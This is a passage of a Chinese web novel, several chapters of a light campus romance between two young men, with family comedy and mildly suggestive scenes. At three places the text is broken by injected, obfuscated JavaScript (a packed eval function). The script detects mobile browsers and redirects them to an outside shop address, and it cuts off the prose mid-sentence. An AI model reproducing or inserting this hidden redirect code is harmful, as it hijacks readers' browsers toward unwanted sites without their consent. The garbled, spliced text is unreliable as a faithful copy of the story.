……不是,是他不小心失忆退网一段时间了吗?他好像有点跟不上这个世界了。 虽然他看自己和岑柏意的同人文,但仅限于此啊,都还没来得及了解该怎么做呢,怎么新世界就砰地一下撞向他了。 碰瓷啊! 趁着他震惊的功夫,苏绍庭懒懒道:“本来这一套也在预选的逛街服装里的,只不过……啧啧,可惜。” 宁启洄表情麻木,“你穿吗?” 苏绍庭:“……” 这本书最终还是被苏绍庭带了出去——以他的名义,毕竟读书卡上是他的名字。 店员表情淡然,扫码刷卡一气呵成,显然是见得多了。 做贼心虚地拎着莉莉丝书屋的牛皮纸袋,宁启洄埋头跟在苏绍庭身后。 突然,苏绍庭脚步一转,“你在这等我一会。” 宁启洄抬头,旁边是一家名字由奇怪符号组成的服装店,有点眼熟,但想不起来。 买衣服做什么,宁启洄撇嘴,他小舅真是臭美得要死,回国一个月,买的衣服多到他家衣柜都塞不下了。 商场里暖气很足,宁启洄这会倒也不冷,安静地坐在点外卖的长椅上,手指隔着牛皮纸袋摸了摸漫画书坚硬的角。 ……买都买了,看看吧? 看! 宁启洄四处看看,确定没人,偷摸拿出漫画书,小心翻看。 这是第一部,倒是没有封面那么大尺度,剧情也还不错,说的是一个人类去给恶魔做管家,然后就莫名其妙成了保姆,还要穿女仆装。 他正看得津津有味,突然,肩头有一股暖意袭来,什么东西压在了他身上。 岑柏意把自己的羽绒服脱下了盖在宁启洄大衣外面,看了眼刚从店里走出来的苏绍庭。 刚从服装店出来的苏绍庭见状,挑眉笑笑,转身把刚从自家店拿的羽绒服又挂了回去。 想了想,他又取了另一件大一些的下来,拎着出去看热闹。 店主:“???”少东家这是在干什么,来回溜溜衣服? 宁启洄被他的温度和气息包裹,费劲巴力把自己的头伸出来,一脸茫然地看着身侧突然出现的岑柏意,眼睛突然亮起,又顿时慌张,把漫画书往大衣里藏。 “你怎么来了?!” 岑柏意本来想问他为什么会女装,为什么穿这么少,为什么来这里。 但现在…… 他垂眸,看着大衣下突出的漫画书轮廓,“你刚刚在看什么?” “!!!”宁启洄不敢看他,只是咽了咽口水,“没啊,你看错了。” 岑柏意眨眼,指着岑柏意的大衣,语气疑惑,“可是我看到了。” 宁启洄:“……”我知道你看到了,但我藏起来就是想让你装没看到。 “岁宝?” “……”你认错人了,我不是岁宝,我只是和他长得很像的路人。 “嗯?” “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192812|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 岑柏意勾唇,放过了他。 他拢了拢披在宁启洄身上的羽绒服,轻声问:“怎么穿得这么少?” “玩游戏输了。”宁启洄没说是抓锦囊,不然肯定会问他许了什么愿望,说不得。 他微微抬头,长长的亚麻色卷发垂落肩头,微卷的刘海笼住他的眉眼,一双眼睛亮到遮不住。 黑色皮带勾勒出他纤瘦的腰身,又隐入马甲下摆,引人遐想。 岑柏意缓慢眨眼,点头表示肯定,“很好看。” 宁启洄:“……?” 岑柏意又欣赏片刻,认真道:“确实好看。” 宁启洄:“……”哦。 他吸吸鼻子,转移话题,“你不冷吗?” 岑柏意笑了笑,没来得及说什么,就见旁边递过来一件棕色的羽绒服,是适合他的尺码。 “谢谢。” 穿上,和宁启洄身上的衣服很配。 苏绍庭摸着下巴欣赏,觉得自己的审美真是好到爆炸。 岑柏意身高腿长身材好,简直是人形衣架子,这件衣服衬得他整个人的气质随和了许多,更贴合寒冷的冬天。 “不走吗?”苏绍庭转了转手心的手机,轻薄的机身在拇指跟食指之间飞速旋转。 宁启洄起身,藏在大衣里的漫画书啪地一下掉出来。 宁启洄:“……” 苏绍庭:“……” 岑柏意:“……?” “恶魔的纯情男仆?”岑柏意捡起漫画书,看着漫画书上极其艺术的大字,喃喃道,“岁宝喜欢这种?” “……”不你听我解释,我真的不是你想象的那样。 哟咦,还岁宝~ 苏绍庭酸酸的,双臂环胸靠着门看他们。 宁启洄不免埋怨地看了他一眼,都怪这人,非要把书买下来。 宁启洄:“是我小舅要买的,我好奇看看。” 苏绍庭:“???” 真是好大口锅,他这是为了谁。 再看去,小外甥那位同学的眼神已经变了,看他像是在看一个教坏小孩的怪蜀黍。 “……”6。 岑柏意沉默地把书递给宁启洄,宁启洄也沉默地把书塞进牛皮纸袋,转手扔给苏绍庭,后者手忙脚乱接住。 苏绍庭:“别乱扔啊,说不定还能用上呢~” 宁启洄:“……”留着清明给你上坟吗。 几人都很高,长得也好看,走在街上特别瞩目。 “哎看看看,这大高个女生刚才还在和眼镜男约会,现在怕是正主找来了。”有人之前看到过宁启洄和苏绍庭逛街,悄咪咪和同伴咬耳朵。 苏绍庭今天为了装逼,戴了副无框眼镜,把不羁的气质压了一点下去,宛然一幅社会精英的模样。 “劈腿渣女没有好下场!啊呸!”他的同伴似乎有过什么经历,这会满脸悲愤,眼神不善地看着被两个大男人夹在中间的宁启洄。 劈腿渣女:“……” 老实绿帽正主:“……” 小三眼镜男:“……” 宁启洄目光幽幽:“你现在开心了?” 苏绍庭笑眯眯:“嗯哼~” 宁启洄:“这话要是传到外公耳朵里,你就完了。” 苏绍庭笑不出来:“……” 原本是打算直接回去的,现在岑柏意加入了,宁启洄决定一起去吃个饭。 吃完饭,各回各家,各找各妈。 宁启洄坐在车里,见岑柏意冲他挥手,他就扒拉着窗边,微微开了些车窗,也冲他挥手。 直到车过拐角,岑柏意的身影再也看不见。 苏绍庭哼笑,“别看了,人都看不见了。” 宁启洄白了他一眼,“哪跟你似的,让外甥冻这么久。” 苏绍庭皮笑肉不笑,“他身上那件羽绒服是狗买的?”真让他冻着了,不得给你心疼坏了。 宁启洄:“嗯。” “……” 当天晚上,苏绍庭给他发了不少资料包,看名字就十分不正经。 宁启洄淡定点开,惊慌地退出去——满满几十个G的资料,全是男男小视频。 【岁岁平安】:你这样要被网警抓走的! 【烦人小舅】:我是在造福人类,他们会理解我的。 【烦人小舅】:为了你特地朝我朋友要的,欠了个大人情呢,不用客气小外甥~ 【岁岁平安】:…… 你的人情真不值钱。 不对,苏绍庭怎么知道他喜欢男的了?! 57.背锅 宁启洄拧起眉把苏绍庭的备注改了——【X光】,看透一切,照亮你的美。 他心惊胆战地继续发消息试探: 【岁岁平安】:你为什么觉得我会需要这个? 【X光】:因为你看着很需要的样子。 宁启洄:……? 什么意思? 什么叫,他看起来很需要? 他长得很gay吗??? 苏绍庭见顶部不断闪过的【对方正在输入中】,都能猜到小外甥纠结成什么样子了,他大发慈悲给了台阶下。 【X光】:我觉得你会好奇,毕竟你成年了。 毕竟你昨天看本漫画都心惊胆战。 宁启洄松了口气,却还是有些不放心。 【岁岁平安】:那你朋友那边…… 【X光】:放心,没说是你要的。 【岁岁平安】:那就好。(团子鞠躬.jpg) 宁启洄洗了澡,上床睡觉。 睡着睡着,正迷迷糊糊饭时候,一个念头突然出现:什么叫“没说是你要的”,他也没要啊! 宁启洄猛地坐起,不是,苏绍庭他有病吧?! 就这样煎熬了半夜,他总算睡去。 第二天一早,宁启洄揉着眼睛往一楼走。 客厅里有人在讲话,他好奇探头,对上苏绍庭的视线。 那目光幽怨极了,像是被渣男抛弃的怨妇,亦或是被抢了最后一块馍馍的流浪汉。 宁启洄心惊胆战地走过去,不敢看一脸严肃的宁霄城,凑到苏情身边,悄咪咪问:“这是怎么了?” 苏情秀眉拧起,无奈叹气,“你小舅喜欢男人。” 宁启洄:“……?!!” 宁启洄倏地扭头,眼神锐利:明明是给你自己要的,还拿我当借口! 苏绍庭懒得理他,无语地翻了个白眼。 “他找朋友要那种……视频,被你外公知道了。”苏情忧心忡忡地看着苏绍庭。 她倒是很开明,对弟弟的性取向没有太多想法,但苏世安可不一定——估计会被打断腿。 当年苏世安在国外被拍到和一个小男生亲密,被造谣说是他众多男朋友中的一个,苏世安发了好大的火,直接把他从国外揪回来,休了一个月的课。 如果不是误会及时解除了,苏世安是真的会打断他的腿。 现在,居然又闹出这种事来,偏偏苏绍庭还不解释,任由事情发展。 苏情叹气,走过去拍了拍苏绍庭僵硬的身体,“跟爸说实话吧,能少挨点打。” 宁启洄惊悚回头:“……”妈,这实话可不兴说啊! 他脸色僵硬,既不想苏绍庭替自己背锅挨揍,又不敢现在承认——毕竟他都还没来得及表白,估计岑柏意也不知道他的心思。 哎,愁人。 闻言,苏绍庭轻飘飘瞥了眼她身侧的宁启洄,“……” 看着小外甥像只受惊的老鼠一般瞪圆了眼,才又把视线转了回去。 这母子俩,小时候苏情带着他闯祸,苏世安总是惩罚他,现在他姐的儿子搞事,背锅的还是他。 哎,愁人。 不过,到底这些视频是他自己找朋友要的,小外甥并没有朝他要过,所以这顿揍他确实得挨。 怎么就管不住自己的手,咋这么欠呢。 苏绍庭正在心里给自己的手做思想教育,突然听见门外传来车的滴滴声,一辆黑色汽车缓缓驶入——是苏世安秘书常开的车。 苏世安知道了这事,气得大半夜给他打电话,结果他懒得接给按了,直到第三次才接通。 估计他爸要气死了,现在回去肯定要挨打。 车上下来一个人,朝这边看了一眼,随即大步往这边走。 苏绍庭在苏情担忧的目光中,绝望地往门外挪移。 秦秘书一身黑色职业西装,打扮得很精神,他快步走来,架起苏绍庭往外走。 动作娴熟,显然不是第一次这么做了。 被搀得脚下一绊的苏绍庭扭头,幽幽看着绷着表情的秘书,“秦秘,咱们这么多年交情了……” 试图道德绑架的话还没说完,秦秘书推了推眼镜,公事公办道:“准确的说,才三年,我五年前才入职,最开始两年您并没有回国。” 苏绍庭试图挣扎:“我连衣服都还没收拾。”光顾着悲伤自己多舛的命运了。 秦秘书:“老宅有您的换洗衣物,我也可以去给您买新的。” 苏绍庭还没来得及亮起眼,就听他淡淡补充:“等您回家之后再去。” 苏绍庭:“……”好得很,不愧是他爸的秘书,一样的铁面无私。 苏绍庭生无可恋地坐进车里,扒拉着车窗看站着门口送他离去的一家子人。 等黑色汽车彻底消失在视野里,宁霄城才转过身,语气严肃,“你别学你小舅。” 宁启洄下意识叛逆,“为什么,搞歧视啊宁先生。” “……”宁霄城瞪了他一眼,“这个圈子很乱,你少掺和,到时候哭了可没人给你出头。” 宁启洄:“……”话是好话,就是听起来怎么这么不中听呢? 宁霄城回书房处理文件,苏情拉着他在沙发上坐下,面上忧愁笼罩。 “你小舅也是个犟的,爸这几年脾气已经好很多了,也不知道先服个软。”苏情叹气。 宁启洄沉默,他觉得按他小舅的臭德行,第一句肯定是“我没错”,然后就开始试图讲道理,然后挨揍。 看着苏情担心大过生气的表情,宁启洄觉得他妈似乎被他爸要好搞定一点。 他揪住牧哥脖子上的毛毛,状似无意问道:“妈,如果,我是说如果,小舅真是……真喜欢男人的话,你会怎么做?” 苏情看了儿子几秒,叹气,“还能怎么办,护着不然你外公把他打死吧。” 宁启洄:“……”外公脾气有这么爆吗? “你不觉得不该这样吗?”宁启洄继续试探。 苏情捧着一杯热茶暖手,她声音有些轻,“哪有什么该不该的,只要他喜欢的是个人,是个好人,我都依他你。” 宁启洄眼睛一亮,有戏! 苏女士真是太开明了!不像宁先生,老古板一个。 想到宁霄城,宁启洄又继续试探,“妈,那你觉得我爸他能接受吗?” 他有些紧张地搓了搓指尖的毛发,牧哥被揪痛了,嗷嗷叫了两声。 宁启洄连忙给他顺顺毛。 苏情奇怪地看了他一眼,“他接不接受有什么用,关键是你外公能不能接受。” 宁启洄正准备放弃试探,就听苏情继续道:“不过,你爸估计接受不了,没听他刚才对你说的话么……你爸一路走到今天不容易,什么脏的坏的都见过,他是不想你受到伤害才对你那样说,你也别怪他语气不好,你爸他其实很关心你。” 宁面色如常点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一旁的苏世安看他就来气,恨不得提着棍子再打上去。 感受到小外甥过于内敛的关心,苏绍庭勾唇笑了一下,正好被苏世安看到。 “苏绍庭,你还敢笑,是不是没被打够!” “……”这他妈找谁说理去。 见小外甥拿到想要的信息就不回话了,苏绍庭简直要气笑了。 他定了定神,不着痕迹问他爸:“爸,你为什么这么反对同性恋?你搞歧视啊,歧视不可取,身为新时代大企业家,你要做的是与时俱进。” 苏绍庭得先探探口风,毕竟他那小外甥表现得太明显了,万一哪天被发现了,不管是苏世安还是宁霄城,都会把他的腿打断的! 他那细皮嫩肉的小外甥可扛不住。 苏世安刚下去一点点气又起来了,“你刚刚不是说你喜欢女人吗,你还敢骗我?!还有,什么叫歧视,少给老子乱扣帽子!” 苏绍庭小声逼逼:“哪有扣帽子,这么敏感做什么……还说不是歧视,不像我,众生平等。” 苏世安怒极反笑,“行行行,所以你就当先锋官亲自实践是不是!” 眼见苏世安气得头脑发昏又要实施棍棒教育,叶秋眉赶忙拦住,劝了好一会才劝住。 叶秋眉悄悄给苏绍庭使了个眼色,示意他安分点。 他爸正在气头上呢,惹不得。 苏绍庭撇撇嘴,行吧,小外甥,小舅尽力了,你自求多福吧。 58.雪夜 晚上,岑柏意看着手机里偷拍的几张宁启洄的照片,心头有些躁动。 他闷声笑了一下,觉得自己好像个变态私生粉,追着正主逛街拍照。 当面装得像个君子,背地里捧着照片干些不为人知的事情。 要是贸然给他表白,肯定会吓到的吧。 岑柏意无声叹气,突然传来敲门声,是夏玥。 “小意,有你的快递。” 岑柏意一愣,随即想起来宁启洄说的惊喜,他快速下楼。 快递员表达了歉意,说由于自己的失误,包裹并没有在昨天准时送达,而是先去了A市和B市的交界处溜达了一圈,所以拖到今天才送过来。 包裹很大,岑柏意签收以后,直接在客厅拆开了。 里面是一幅画,色彩鲜艳,画面动人。 是那天去游乐园的场景,Q版的他和宁启洄带着岑念,站在月之城游乐园最中间的旋转木马边上,仰头看着放飞到天上的七彩气球,画面唯美和谐。 岑柏意:……果然对他买一大把气球的憨批行为感到不满吗。 他笑了一下,目光落在稍微矮一点的男生身上。 夏玥端着果汁路过,一脸八卦地问:”小意,那个女孩子送你的?” 岑柏意拧眉:“哪个女孩子?” 夏玥:“就那次,和你大晚上聊天不睡觉的那位。” 岑柏意:“……没有这回事。”哪有什么女孩子。 他能说是在和宁启洄聊吗,那显然是不能——至少现在不能。 夏玥疑惑:“那这是谁送的?” 岑柏意:“小宁老师。” 夏玥恍然:“哦这样,小宁老师画画还真好看。” “他画得是很好。”岑柏意点头,默默在心里补充,长得也好看。 围观全程的岑为宥满脸复杂:“……你们还去游乐园了?” 岑柏意神色淡定:“岑念要去的,我们陪他。” 岑为宥还要说什么,夏玥拧眉:“出去玩玩怎么了,岑为宥,你根本没陪儿子度过一个快乐的童年,两个都没有!” 岑为宥:…… 行吧,他不多管闲事了。 夏玥欣赏片刻,“是好看,要挂起来吗?我让阿姨去拿胶。” 岑柏意摇头,“我放卧室。” 夏玥点头离开了,不小心再次听到的岑为宥:“……”一天天的真是够了。 到底才能拯救老婆的“眼盲心瞎”。 · 直到开学前夕,A市终于下雪了。 宁启洄趿拉着拖鞋往院子里蹦,身后传来苏情的叮嘱,“岁宝跑慢点,小心滑倒!” “知道了!” 院子里已经积上一层薄薄的雪,这场雪下得很突然,听邻居说,半夜就开始下了,下得很大,早上起来院子里的花草上都覆盖了一层白雪。 像是盐渍杏干,宁启洄突然有些馋了。 他拍了照片,发给岑柏意。 【岁岁平安】:岑总,下雪啦! 对面回得很快。 【cby】:我们这边也下雪了。[照片.jpg] 宁启洄点开,是雪景照片,就在岑柏意他家的小花园里拍的。 他吃吃笑起来,都在A市,他那边怎么可能不下雪嘛…… 这样想着,却和他有滋有味地聊起来了。 时间一晃到了下午,雪越下越多,地面的积雪变得更厚。 客厅里,苏情正在和前几天就赶去公司上班的宁启洄打电话。 “我没出去……嗯,岁宝陪着我呢,你也是,多穿点衣服……出去小心地滑……”苏情小声和宁霄城说着什么。 突然,她脸一红,“哎呀,都老夫老妻了,这么……” 过了几秒,苏情脸更红了,她鼓起勇气对着手机隔空亲了一下:mua! 电话挂断,苏情脸上的笑意未落,转身看见一脸坏笑的宁启洄。 她的脸再次红了,“岁宝,你、你什么时候过来的。” 宁启洄冲电话努努嘴,“在你和宁先生mua的时候。” 苏情有些不好意思地低头,这种事情,居然被儿子看到了…… 宁启洄倒是觉得没什么,只是坐在苏情边上,极其八卦地要她讲她和宁先生过去的爱情故事。 苏情起初不肯说,但耐不住儿子冲她撒娇装可怜。 宁启洄看着苏情温柔含笑的侧脸,慢慢听她讲过去的故事,从她和宁霄城在大学校园初识,再到后来见家长他外公反对,然后宁霄城开始创业,最后终于有情人终成眷属。 宁启洄一边羡慕父母的爱情,一边又很不合时宜地想,当场外公棒打鸳鸯——虽然没成功,为什么他爸也要走这条老路呢,他儿子的终身幸福呢。 哎,愁人。 苏情并没有察觉到儿子的想法,她只说感叹:“现在你外公还时不时感叹,早知道当场把我送到国外去读大学就好了,就不会遇上你爸了。” 这是把他爸当黄毛鬼火少年防着呢。 宁启洄没忍住笑了一下,“国外黄毛也不少。”他妈妈长得好看,气质也好,肯定不少人追。 突然,又想到什么,笑得更大声,“国外黄毛是不少。”都是黄毛,天生的。 苏情有些无奈地看了眼他,突然又扭头看向窗外纷扬的雪花,“当初你爸对我表白,也是在这样一个下雪天。” 宁启洄内心吐槽:表白也不知道选个好点的天气,看来当场的宁先生还没有如今这种万无一失的意识。 苏情看了眼缺根筋的儿子,“传说一对恋人在雪天漫步,雪花落在头顶,他们就会相爱到白头。” 宁启洄:……是我没有浪漫细胞了。 错怪你了,浪漫の宁先生。 宁启洄有些羡慕,他有点想去见见岑柏意了。 这样的想法持续到晚上,宁启洄接到了岑柏意打来的电话。 “下楼,岁宝。”岑柏意的声音从手机那头传来,平稳中略带轻微的喘息。 宁启洄不解地推开窗户去看楼下,发现前院大门外正站着他朝思暮想的人。 他的眼睛倏地瞪大,鞋都没穿就往下跑,等踩到雪里才发现自己脚上只套了袜子。 “怎么不穿鞋?” 岑柏意拧眉,把他直接抱起,后者轻呼一声,下意识抓紧他的肩膀。 “腿夹住我的腰。”岑柏意低沉的声音在耳畔响起。 宁启洄脸倏地一红,把头搁在他肩头,依言把腿环住他的腰。 岑柏意是有肌肉的,腰部的线条很明显,宁启洄的腿夹住时,能明显感受到那起伏的肌肉线条。 这台词、这姿势,也太、太那个了吧! 前几天苏绍庭给他发的那些视频里,正好就有个男主角说了这句话。 然后,他们就开始了不可描述的动作,很激烈,看得宁启洄满脸黄扑扑。 他的脚忍不住动了动,不小心碰到岑柏意的腰,后者闷哼一声,声音在黑夜寒冬里有些低哑,“别乱蹭,岁宝。” 宁启洄立马老实了,安安分分被岑柏意抱住。 岑柏意的声音再次响起,“在想什么?” 宁启洄实话实说,“在想你怎么过来了。” 岑柏意:“不想我过来?” 宁启洄莫名觉得有些熟悉,半晌,他想起来了,上次跨年视频电话也是这样,岑老板总是不正面回答问题,倒是反过来问他,他都不好试探岑老板的态度了。 他愿称之为,岑总の反问术! 宁启洄顺从本心,很配合地点点头,“想。” 岑柏意:“为什么想?” 宁启洄:“……”等等,问话主客体好像发生了一点变化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14214931|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 岑柏意抱着他往上颠了颠,防止他掉下去,手掌扣住宁启洄的屁股和腰,掌心温热,却烫得宁启洄有些坚持不住。 他求饶似的开口,“岑总……” 岑柏意气息陡然沉下去,他定定地看着宁启洄,半晌,声音更加沙哑,“为什么想我过来?” 宁启洄被他的眼神看得腰一软,整个人想重心全压在他身上。 他趴在岑柏意身上,老实道:“因为我去你家容易被发现。”到时候就不好解释,为什么下大雪,家教老师会出现在雇主家里了,还单独把他叫出来。 两家别墅构造和房间布局不太一样,宁家是宁启洄的房间朝着前院,苏情和宁霄城的卧室朝后院,而岑家是三楼夏玥和岑为宥的卧室朝向门口。 岑柏意一愣,闷闷笑了几声,胸膛震动。 “下雪了,我也想见你。”岑柏意的声音温柔得不像话。 紧贴着的宁启洄有些不适应地动了动,屁股被不轻不重拍了一下之后,又很快老实下来。 两人没说什么,只是站在门口,感受彼此的体温透过衣服传递。 雪花慢慢落下,把两人的头发都染成白色。 雪越来越大,把岑柏意来时的脚印都覆盖住了。 他们站了很久,直到宁启洄腿有些麻了,他动了动,示意岑柏意把他放下了。 岑柏意闷哼一声,忍不住把头埋在宁启洄颈窝蹭了蹭,最终还是放下了他。 宁启洄悄悄松了口气,有些犹豫地看了他几眼。 岑柏意挑眉:“怎么了?” 宁启洄担忧道:“岑总,你是不是感冒了?”声音哑成这样。 岑柏意一愣,随即顿悟,他眼神略带深意地看了他几秒,缓缓开口:“没事,撸一发就好了。” 榆木蛙蛙,得戳一戳蹦跶一下了。 宁启洄差点被口水噎住,他一脸通红,结结巴巴开口:“还、还管治感冒呢……” 岑柏意淡定点头:“嗯。” 宁启洄:“……”别嗯了,滤镜碎一地。 两人对视几秒,气氛变得有些奇怪,宁启洄不好意思地挪开视线,正准备说点什么转移注意力,就听岑柏意说了句话,不过他没听清。 “什么?”他问。 岑柏意又说了一遍:“你讨厌我这样对你吗?” 宁启洄:“哪样?” 岑柏意:“我抱你,把头埋你脖子里,搂你腰还摸你屁股。” 宁启洄:“……”你直接说耍流氓不就好了。 ——这个岑柏意是不是被调包了。 岑柏意很有耐心地重复道:“讨厌我吗?” “当然不!”宁启洄下意识说。 岑柏意笑了一下,伸手揉揉他蓬松的头发,“不讨厌就好,我走了,早点休息。” 宁启洄呆呆地站在原地,看见岑柏意走到很远,突然转身冲他用力挥挥手,然后慢慢消失在视线里。 远处亮起的车灯慢慢离开。 这是,什么意思啊…… 岑柏意是不是在勾.引他? 敌方使用美人计,我方快坚持不住了! 宁启洄噔噔跑上楼回房间,花了好一会时间平复见到岑柏意的激动。 他突然想起他感冒的事情,掏出手机准备再叮嘱一下,别真学什么偏方去撸一发。 林枫晚说的没错,一滴精十滴血,还是得注意注意。 话打到输入框里,正要发送,宁启洄突然一顿,脑海里闪过一个念头——岑柏意真的感冒了吗? 回想起岑柏意的种种反应,以及他说的话,宁启洄很肯定地得出结论—— 所以,他完全是硬了吧! 是吧是吧! 宁启洄又把输入的字一个个删掉,表情纠结地盘坐在床上。 他想,岑柏意怎么就硬了呢? 59.开学 开学这天,苏情把宁启洄送到了校门口。 “天气冷,多穿点衣服,钱不够就找我要,别听你爸的……” “知道了妈!” 宁启洄听了一半,冲她挥挥手,拎着箱子往宿舍跑。 苏情张了张嘴,这孩子,急什么呢。 310的男人们全都回来了。 胡秋雁女士去旅游了,家里司机去送她,林枫晚只能任劳任怨去给林若锦扛行李,这会比宁启洄还要先到寝室。 岑柏意和江千陵一起来的,除了自己的行李箱,手里还拎了不少小汤圆的东西。 宁启洄看见柜子里的小龙猫,把包一撇,捧着它猛亲两口。 “汤圆崽崽,可想死爸爸了!” 小龙猫挣扎两下,生无可恋地待在它爸的掌心不动了。 岑柏意视线停留在小汤圆被亲得扁扁的毛毛上,又看了眼宁启洄有些干燥的唇,目光幽深。 叙完旧,宁启洄有些迟疑地掂了掂手心的龙猫,扭头看岑柏意,“它是不是胖了?” 小汤圆似乎听懂了,唧唧叫个不停。 玷污人家清白就算了,还说人家胖! 岑柏意面不改色,“进入生长期了,正常。”仿佛给它偷摸加餐的人不是他。 江千陵也附和,“贴秋膘嘛,正常正常。”仿佛年后隔三差五跑他家去喂小汤圆的人不是他。 “这样。”宁启洄没再管,没注意到小汤圆一脸向往地看着放在桌上的龙猫零食袋子。 晚上了,选课时间到。 几人在寝室里叽叽喳喳分享选课经验——其实是两位大二老学长单方面给大一小学弟分享经验。 “这个,这个课不错,事少分高课也水,那门课不行,满绩率10%,也不知道怎么还在开……”江千陵翻了翻他们的可选通识课列表,给了几个指导性的建议。 岑柏意站在宁启洄桌子旁,伸手点了点屏幕上的【恋爱心理学】,“选这个。” 宁启洄:“?” “新课,试试水。”岑柏意淡定道。 “喂喂喂,岑哥你怎么坑学弟呢,新课怎么能——”江千陵凑过来,看见课程名称,瞬间噤声。 哇偶,这是到下一步了? 宁启洄:“新课怎么了?” 江千陵:“不过话又说回来,新课试水一般分都不低,这老师听说人也挺不错的。” 宁启洄狐疑:“是吗?” 江千陵肯定:“是的,事少分高课很水,人也很好,他之前教的大学生心理健康教育课就很不错。”哈哈,反正那门课取消了,你也查不到。 宁启洄半信半疑,还是决定相信两位学长。 十点整,选课系统准时开启。 宁启洄居然一下就选上了这门课。 十分钟过去了,二十分钟过去了…… 他看着27/50的界面,微微沉思。 这课真的有他们说的那么好吗,为什么过去这么久都还没选满? 宁启洄把目光缓慢移到早就选完课的两位学长身上——高年级比低年级要提前半个小时。 “你选这门课的时候,有多少人?”宁启洄语气幽幽。 岑柏意抿唇,还是实话实说,“两个。”其中一个是他。 新开的课,谁都不愿意去当小白鼠。 岑柏意本意只是想和宁启洄上同一堂课,专业课不可能凑一起,化学专业和计算机专业的课都多,他们也没时间蹭课,正常情况下体育课没办法跨年级选课,只有通识课最好下手,选最冷门的课——新课就是很好的选项。 开这门课的老师人确实不错,他大一就选了他的大学生心理健康教育课,不过后来不知道什么原因不开了。 岑柏意综合考虑,这门课最合适。 ——如果期末是以闭卷考试的形式进行考核,他会尽力帮助宁启洄拿满绩。 宁启洄动了动嘴,还是没说什么。 上就上吧,什么课都能学到东西,恋爱……万一也能学到呢。 这是宁先生教的,可不赖他,宁启洄在心里想。 林枫晚来和他对了一下选到的课,他们在同一个班上,小班课都是同一节,体育课选一次上一个学年,所以这个学期也是石云朗教他们羽毛球。 其他课程也都选了同一节,除了通识课【恋爱心理学】。 林枫晚听到岑柏意说的话时,其实是打算也选这门课的,但奈何江千陵按住了他,抢过鼠标给他选了另一节事少分高的通识课。 “这课好选这个,我上学期选了,课程资料留给你。”江千陵语气坚定。 林枫晚:“……” 选课结束,几人各忙各的。 “哈哈哈哈!阿宁,你和岑哥跳舞的视频被传到官网上了。”林枫晚突然转过椅子,把手机递给宁启洄。 宁启洄瞪大眼,看见A大首页那个熟悉的视频,配了个显眼的标题——【A大推进人文艺术学科发展:[视频]】 视频很长,剪辑了许多片段,包括舞蹈课、书法课、民间美术鉴赏课等,但第一段就是他们的舞蹈课,视频封面也是他们。 这是上学期最后一节课上期末考试,孟柔柔录下来的,她给每个人都录了视频,当作考核的依据,也当纪念了。 他盯着两人相拥的画面,久久出神。 岑柏意比他高半个头,手搭在他肩上微微垂眸,神情专注而认真。 而他微微仰头,头顶灯光洒落,乌黑的眸子里闪着细碎的光芒。 ……真的好配俩男的!宁启洄有点磕到了。 岑柏意见他不动,好奇地凑过来。 “是华尔兹期末考试?” 宁启洄点头说是,扭头就见他在自己手机上操作着什么。 “你在做什么?” “保存,纪念一下。”岑柏意从官网首页找到了那个视频,熟练地点击下载小图标,过了十几秒,显示视频保存成功。 宁启洄:“……”纪念什么,他的鸭子舞步终于进化为柯尔鸭の华尔兹了? 晚上去食堂吃饭,林若锦兴致冲冲拿了个小本子过来,翻开,里面写了好几页的诗,大多是现代诗。 “过几天学校举办短诗大赛,我觉得我还是很有天分的!”林若锦给大家展示自己的草稿,兴奋地说。 宁启洄:“……” 岑柏意:“……” 宁启洄皮笑肉不笑,“是啊,文笔是挺好。” 同人文生产机,能不好么。 想到那首十分应景的诗把自己暴露了,宁启洄的眼神瞬间凶狠。 林若锦:“……?”怎么了,是她写的是冒犯到宁哥了? 林枫晚倒是日常讽刺,“不错,如果删掉第一句第二句和最后两句的话,肯定能拿奖。” “……” 林若锦望着一共才四句的诗,并不想理她哥。 被受打击的林若锦决定和自己的好朋友唠两句: 【看花人】:星,我受打击了。 【海蓝星】:怎么了我的花? 【看花人】:我哥说我写的诗很拉! 【海蓝星】:噢,那正常。 【看花人】:? 【海蓝星】:不说这个,我有一个船新的想法!七百CP再添新粮! 【看花人】:给我尝尝。(探头.jpg) —— 第一周第一节课就是恋爱心理学,宁启洄半闭着眼睛,任由岑柏意把他拉着往一教走。 教室也选得很浪漫,1314,一教,三楼第十四号教室。 甚至教室里挂满了洁白的轻纱,教室前面后面都摆了红玫瑰,不知道的以为误入了婚礼现场 他们到教室的时候,同学已经到了大半,老师也穿着白西装坐在讲台上,胸口别着一朵白玫瑰。 宁启洄瞪大眼,嘴张得能塞进一个鸡蛋,岑柏意淡定地给他合上。 坐到座位上,他小声问:“你不惊讶吗?”这老师,有点太surprise了。 岑柏意拿出平板,拉上书包拉链,闻言笑道:“上学期的大学生心理健康教育课上,第一节课宋老师穿着皮卡丘玩偶服来上课。” 宁启洄惊讶挑眉,这老师真有个性。 上课铃响了,最后一位同学踩着铃声进门。 台上的宋老师笑着示意他坐下,等所有人都收拾好,他才转身在黑板上写下工工整整的三个字——宋斯年。 